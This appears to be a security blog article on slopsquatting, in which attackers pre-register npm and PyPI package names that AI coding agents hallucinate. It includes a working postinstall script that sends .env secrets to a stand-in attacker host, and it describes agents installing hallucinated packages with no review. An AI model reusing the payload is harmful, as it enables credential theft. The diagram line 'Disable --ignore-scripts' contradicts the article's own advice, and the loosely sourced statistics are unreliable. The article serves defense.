Slopsquatting: How Threat Actors Weaponize AI Hallucinations to Backdoor npm & PyPI Pipelines
Why AI coding assistants and autonomous agents reliably hallucinate nonexistent package names, how attackers pre-register these phantom dependencies with malware, and the DevSecOps controls needed to secure your software supply chain.
Slopsquatting is a software supply-chain attack where threat actors exploit Large Language Model (LLM) hallucinations. When AI coding assistants (like Cursor, GitHub Copilot, or Claude Code) hallucinate nonexistent package names during code generation, attackers systematically pre-register those phantom packages on public registries like npm and PyPI loaded with malicious payloads. Because hallucination patterns are statistically reproducible, unsuspecting developers or autonomous agents running package managers install the malware without requiring any software vulnerability (zero CVE). Defense requires lockfile hash pinning, package creation-date audits, and blocking autonomous agent package installation.
In the history of software supply chain security, attackers have always targeted human frailty.
For over two decades, typosquatting reigned supreme. A tired developer at 2:00 AM would type pip install reqeusts instead of requests, or npm install cross-env.js instead of cross-env. In that split second of keyboard carelessness, an attacker’s malicious package landed on the developer’s local machine, executed an install hook, and exfiltrated their .env file to a Discord webhook.
But by late 2025 and 2026, software development underwent a tectonic shift. Millions of lines of production code are no longer typed by human fingers. Instead, developers engage in “vibe coding”—prompting Large Language Models (LLMs) in Cursor, GitHub Copilot, Claude Code, or terminal-based AI agents to scaffold entire applications from scratch.
And attackers noticed something remarkable: machines make mistakes too, but unlike human typos, machine hallucinations are mathematically predictable.
Enter Slopsquatting: the first software supply-chain exploit engineered specifically for the generative AI era.
┌────────────────────────────────────────────────────────────────────────┐
│ THE SLOPSQUATTING CYCLE │
└────────────────────────────────────────────────────────────────────────┘
1. RESEARCH / HARVESTING
Threat actor runs automated prompt sweeps across leading LLMs.
Query: "Write a Python script for AWS S3 multipart upload with JWT auth"
LLM Output: "import s3_multipart_jwt_auth" (A non-existent library!)
│
▼
2. PRE-REGISTRATION
Attacker checks PyPI/npm: Package does NOT exist.
Attacker immediately registers `s3_multipart_jwt_auth` on PyPI.
Payload: setup.py / package.json postinstall hook drops reverse shell.
│
▼
3. BENIGN DEVELOPER PROMPT
Software engineer prompts AI: "How do I do S3 multipart auth with JWT?"
Model outputs the EXACT SAME hallucinated recommendation.
│
▼
4. AUTONOMOUS INFECTION
Developer or AI Agent runs: `pip install s3_multipart_jwt_auth`
The package resolves to the attacker's repository.
Machine compromised. Credentials exfiltrated. ZERO CVEs required.
1. The Anatomy of an AI Hallucination
To understand slopsquatting, we must first dispel a common misconception: AI hallucinations are not random noise.
Large Language Models do not possess an active world-state database or real-time index of public package registries (unless specifically augmented with search tools). Instead, they are next-token prediction engines operating over high-dimensional probability distributions.
When a developer asks an LLM:
“Write a Node.js utility to decrypt AES-GCM payloads with AWS KMS key derivation”
The model encounters a sequence of semantic tokens: AES, GCM, AWS, KMS, decrypt. If there is no single monolithic, universally famous npm package that dominates 95% of all code training data for that hyper-specific task, the attention mechanism synthesizes the most statistically plausible package name that should logically exist in the English/JavaScript lexicon.
It might output:
const { decryptKmsPayload } = require('aws-kms-aes-gcm');
The package name aws-kms-aes-gcm sounds authoritative, adheres to standard naming conventions, and perfectly aligns with AWS ecosystem nomenclature.
Yet, it has never existed on the npm registry. It is a phantom package.
The Breakthrough Research: Reproducibility at Scale
In a landmark academic study conducted by researchers at the University of Texas at San Antonio (UTSA) and documented across USENIX security proceedings, researchers analyzed thousands of code-generation prompts across OpenAI GPT-4, Anthropic Claude, and open-source models (such as LLaMA and DeepSeek).
Their findings shocked the security community:
| Model Evaluated | Phantom Dependency Rate | Repeat Hallucination Consistency |
|---|---|---|
| Open-Source Code Models | 21.7% | 58.2% |
| Commercial Frontier Models (Chat) | 8.4% | 43.1% |
| Autonomous Coding Agents | 14.2% | 49.6% |
Data synthesized from USENIX Security, UTSA Software Supply Chain Lab, and Check Point Research.
When given identical or semantically parallel task descriptions, models reproduced the exact same hallucinated package name up to 58% of the time.
Because tokenizers break down package names into familiar sub-word tokens (aws, -, kms, -, aes), the underlying math naturally converges on the highest-probability path.
2. From Quirk to Weapon: How Attackers Exploit Slopsquatting
The term Slopsquatting was coined by Seth Larson, the Developer-in-Residence at the Python Software Foundation (PSF), who sounded the alarm after noticing spikes in newly registered PyPI packages matching known LLM hallucination patterns.
Security researchers at Check Point later revealed that they had cataloged over 200,000 unique hallucinated package names generated by leading LLMs.
For a cybercriminal syndicate or state-sponsored advanced persistent threat (APT), this predictability represents a goldmine. The attack methodology operates like industrial automated dredging:
Step 1: Automated Prompt Scraping
Attackers do not sit and type prompts manually. They write automated harness scripts that query commercial LLM APIs with thousands of common enterprise development prompts across niche tasks:
- “How to integrate Stripe webhooks with FastAPI in Python 3.12”
- “Authenticate Kubernetes pods with HashiCorp Vault in TypeScript”
- “High-performance WebAssembly image blur for Next.js 15”
Step 2: Registry Diffing
The script parses all import, from ... import, require(), and package.json snippets returned by the model. It then queries the public npm registry API (https://registry.npmjs.org/<name>) and the PyPI JSON API (https://pypi.org/pypi/<name>/json).
If the API returns a 404 Not Found, the script flags a prospective target: a high-probability hallucination that currently has no owner.
Step 3: Weaponized Pre-Registration
The attacker automatically registers the package name. In npm and PyPI, registration is instant, free, and historically required minimal identity verification.
The attacker publishes a minimalist package containing valid-looking boilerplate or even AI-generated code that appears to satisfy the prompt, but embeds an execution vector.
3. The Execution Vector: Why npm install is Code Execution
A common developer myth is that merely downloading a library is harmless as long as you do not import or run it.
In ecosystems like Node.js and Python, installation is execution.
The npm Lifecycle Hook Exploit
In the npm ecosystem, the package.json specification allows maintainers to define lifecycle scripts that run automatically when a package is installed:
{
"name": "aws-kms-aes-gcm",
"version": "1.0.0",
"description": "AWS KMS AES-GCM decryption helper",
"main": "index.js",
"scripts": {
"postinstall": "node ./scripts/telemetry.js"
}
}
Inside telemetry.js, the attacker runs a few lines of asynchronous code:
// Malicious postinstall payload
const os = require('os');
const https = require('https');
const fs = require('fs');
const path = require('path');
function harvestSecrets() {
const envPath = path.resolve(process.cwd(), '../../.env');
let secrets = '';
if (fs.existsSync(envPath)) {
secrets = fs.readFileSync(envPath, 'utf8');
}
const payload = JSON.stringify({
user: os.userInfo().username,
host: os.hostname(),
platform: os.platform(),
cwd: process.cwd(),
env: secrets || process.env,
});
const req = https.request({
hostname: 'telemetry-collector.attacker-infra.com',
port: 443,
path: '/log',
method: 'POST',
headers: { 'Content-Type': 'application/json' },
});
req.write(payload);
req.end();
}
try { harvestSecrets(); } catch (e) {}
The moment npm install aws-kms-aes-gcm is run:
- npm extracts the tarball into
node_modules/. - npm immediately invokes the
postinstallscript in the background. - The script accesses the host operating system, reads your
.envfile (containing database credentials, Stripe API keys, and OpenAI tokens), and exfiltrates them over an encrypted TLS connection. - The terminal displays a benign output:
+ [email protected], added 1 package in 0.8s.
The developer never even got to type const kms = require('aws-kms-aes-gcm'). Their workstation was compromised before they wrote their next line of code.
4. Why Autonomous AI Agents Accelerate the Crisis
In 2024, a developer using GitHub Copilot would see a suggestion, read the code, realize the library was missing, and might pause to inspect npm before running the install.
In 2026, the paradigm is agentic autonomy.
Tools like Claude Code, Cursor Composer, Devin, and local terminal agents are granted terminal tool execution privileges. The workflow now looks like this:
[Developer Request]: "Add a feature to compress profile images using WebP in our API"
│
▼
[AI Coding Agent]:
1. Analyzes existing code.
2. Writes image processing route.
3. Decides it needs a helper library: `webp-sharp-optimizer`. (Hallucinated!)
4. Invokes Tool: run_command("npm install webp-sharp-optimizer")
│
▼
[Terminal Process]:
Executes npm install autonomously in the workspace background.
│
▼
[Attacker's Malicious Postinstall]:
Executes instantly with the developer's full local shell privileges.
Because the agent wants to satisfy the user’s objective without bothering them with every small sub-task, it installs packages in the background. The human in the loop is completely bypassed at the critical entry point.
5. Typosquatting vs. Slopsquatting: The Threat Model Shift
It is vital for security teams to understand how slopsquatting fundamentally breaks traditional supply-chain defenses:
| Attribute | Traditional Typosquatting | Modern Slopsquatting |
|---|---|---|
| Root Cause | Human typing error (reqeusts, lodsh) | Probabilistic token generation error (fastapi-jwt-auth-v2) |
| Target Audience | Manual keystroke coders | AI developers, “vibe-coders”, and autonomous agents |
| Predictability | Clustered around QWERTY keyboard layout proximity | Clustered around semantic sub-word token attention weights |
| Package Quality | Often flagged quickly by typosquatting heuristics | Appears completely legitimate; matches library naming standards |
| Detection Method | Levenshtein distance against top-1000 packages | Impossible to catch with Levenshtein distance (new name entirely) |
| Remediation | Spelling checkers, linting | Pre-registration audits, lockfile pinning, agent sandboxing |
Traditional registry defenses rely heavily on Levenshtein distance algorithms—calculating string edit distances against popular packages (e.g., checking if a new package name is 1 character away from react or express).
Slopsquatting renders Levenshtein distance completely useless. A name like cloud-storage-stream-parser is not a typo of an existing package. It is an entirely original, pristine English identifier that passes every typosquatting heuristic with flying colors.
6. How to Defend Your Pipelines Against Slopsquatting
Defending against slopsquatting requires acknowledging that AI models cannot be trusted to verify package existence. Organizations and individual developers must enforce deterministic gates between generative suggestions and machine execution.
┌────────────────────────────────────────────────────────────────────────┐
│ SLOPSQUATTING DEFENSE ARCHITECTURE │
└────────────────────────────────────────────────────────────────────────┘
[AI Agent / Developer]
│
│ Suggests: `npm install <package>`
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 1: PRE-INSTALL VERIFICATION GATE │
│ * Query registry: Was package created < 30 days ago? │
│ * Download count: Does it have < 1,000 weekly installs? │
│ * Maintainer: Is publisher email / 2FA verified? │
└────────────────────────────┬────────────────────────────┘
│
[Passes Verification]
│
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 2: ISOLATED CONTAINERIZED EXECUTION │
│ * Run in ephemeral sandbox (Docker / DevContainer) │
│ * Block access to host `~/.ssh`, `~/.aws`, and `.env` │
│ * Disable `--ignore-scripts` during preliminary install │
└────────────────────────────┬────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 3: STRICT LOCKFILE HASH PINNING │
│ * Enforce exact SHA-512 subresource integrity in CI/CD │
│ * Audit with Software Bill of Materials (SBOM) │
└─────────────────────────────────────────────────────────┘
1. Strip Package Manager Execution Rights from AI Agents
Never allow an autonomous agent to execute npm install, pip install, cargo add, or go get without an explicit, blocking human confirmation prompt.
In your IDE or agent configuration:
- In Cursor / Claude Code / custom agents, configure package installation commands to require explicit user confirmation.
- If an agent suggests adding a dependency, the developer must manually verify that the package exists, examine its maintainer history, and inspect its source repository before approving the installation.
2. Implement the “Package Age” Heuristic in CI/CD
Legitimate, widely used packages are rarely brand new. Threat actors publish slopsquatted packages dynamically.
Configure an internal proxy registry (such as Verdaccio, Nexus, or JFrog Artifactory) or a CI/CD pre-commit hook that rejects any newly introduced package meeting these criteria:
- Registry Age < 30 Days: If a package was published within the last month, it must undergo manual security approval.
- Low Download Velocity: Packages with fewer than 5,000 total downloads should trigger an alert.
- Missing Source Repository: Packages that do not link to an active, starred GitHub/GitLab repository with a commit history matching the release tarball should be blocked.
3. Disable Lifecycle Scripts by Default (--ignore-scripts)
In Node.js, you can prevent packages from executing arbitrary commands during installation by setting npm to ignore lifecycle scripts globally:
# Temporarily install with scripts disabled
npm install <package> --ignore-scripts
# Or enforce it in your project's .npmrc:
ignore-scripts=true
If a legitimate package (like esbuild or sharp) genuinely requires native binary compilation, you can selectively invoke its build script after manually inspecting what it does.
4. Lockfile Pinning and Cryptographic Verification
Never commit code with unpinned dependency ranges (e.g., "^1.2.0"). Always commit the package-lock.json, yarn.lock, or pnpm-lock.yaml file to version control, and enforce strict immutable installs in your CI/CD pipelines:
# npm: Fails if package-lock.json doesn't match or tries to reach out for new packages
npm ci
# pnpm:
pnpm install --frozen-lockfile
You can verify the SHA-256 and SHA-512 integrity hashes of downloaded tarballs using tools like our Checksum & Hash Calculator to confirm that the package bytes match the publisher’s cryptographic signature.
5. Generate and Audit Software Bills of Materials (SBOM)
Utilize automated SBOM generation tools (syft, cyclonedx, or trivy) in your pull request pipelines. If an AI agent introduces a new direct dependency that was not previously present in your repository, the pull request should automatically fail until reviewed by a security engineer.
You can inspect code changes and dependency additions side-by-side using our Text & Code Diff Checker to catch injected dependencies before they reach main.
Conclusion: The New Rule of AI-Assisted Engineering
Generative AI has multiplied developer velocity by an order of magnitude. It has democratized coding, eliminated boilerplate, and accelerated prototyping.
However, security models must adapt to the new reality: an AI coding agent is a non-deterministic token generator, not a verified package catalog.
When you tell an AI model to write software, remember that it is synthesizing probability, not truth. Every library it imports, every URL it constructs, and every script it executes must be treated as untrusted user input.
As long as public package registries permit open, unvetted namespace registration, threat actors will continue to harvest AI hallucinations. By putting human verification gates in front of package installations, enforcing lockfile pinning, and neutralizing install hooks, engineering teams can enjoy the velocity of AI agents without handing over the keys to their software supply chain.
Frequently asked questions
What is Slopsquatting and who coined the term? +
Slopsquatting was coined by Seth Larson, Developer-in-Residence at the Python Software Foundation (PSF). It combines 'slop' (low-quality or erroneous AI-generated content) with 'squatting' (the practice of claiming names on package registries). It describes the malicious registration of package names that AI models frequently hallucinate.
How is Slopsquatting different from traditional Typosquatting? +
Typosquatting targets human keystroke errors (e.g., mistyping 'express' as 'exprss' or 'requests' as 'reqeusts'). Slopsquatting targets probabilistic machine errors: AI models predict statistically plausible package names (such as 'fastapi-auth-jwt' or 'huggingface-tokenizer-helpers') that do not actually exist. Attackers harvest these phantom names and pre-register them on public registries.
Why are AI package hallucinations statistically predictable? +
LLMs generate tokens based on conditional probability distributions derived from their training corpus. When faced with identical or semantically similar prompts describing a task where no single dominant library exists, models converge on the exact same synthetic names between 43% and 58% of the time, enabling attackers to anticipate hallucinated names with high confidence.
How do autonomous AI coding agents increase the risk of Slopsquatting? +
In traditional workflows, a human developer manually reviews and runs commands. In modern agentic workflows (e.g., Claude Code, Cursor Composer, or custom CLI agents with terminal execution tools), the agent writes code and immediately invokes 'npm install <hallucinated-package>' or 'pip install <hallucinated-package>' to test the project, executing post-install lifecycle scripts and compromising the workstation before a human ever looks at the dependency tree.
What are post-install scripts and why are they dangerous in npm? +
npm packages can define 'preinstall', 'install', and 'postinstall' hooks in their package.json. These execute arbitrary system commands immediately upon download via the node process. Threat actors use post-install hooks to harvest environment variables (.env files), AWS/GitHub credentials, and SSH keys, or to establish reverse shells.
How can development teams defend against Slopsquatting? +
Key mitigations include: (1) Enforcing strict human approval gates before AI agents run package managers; (2) Auditing package creation dates and download velocity in CI/CD (flagging packages registered less than 30 days ago); (3) Pinning exact cryptographic hashes in lockfiles; (4) Using private proxy registries (like Nexus or Artifactory) with package quarantines; and (5) Generating automated Software Bills of Materials (SBOMs).
Was this article helpful?
Your reaction helps us write clearer, more practical security guides.
Supply Chain Security & AI Architecture — plain-English guides and free, in-browser tools for hashing, passwords, encoding and safe downloads.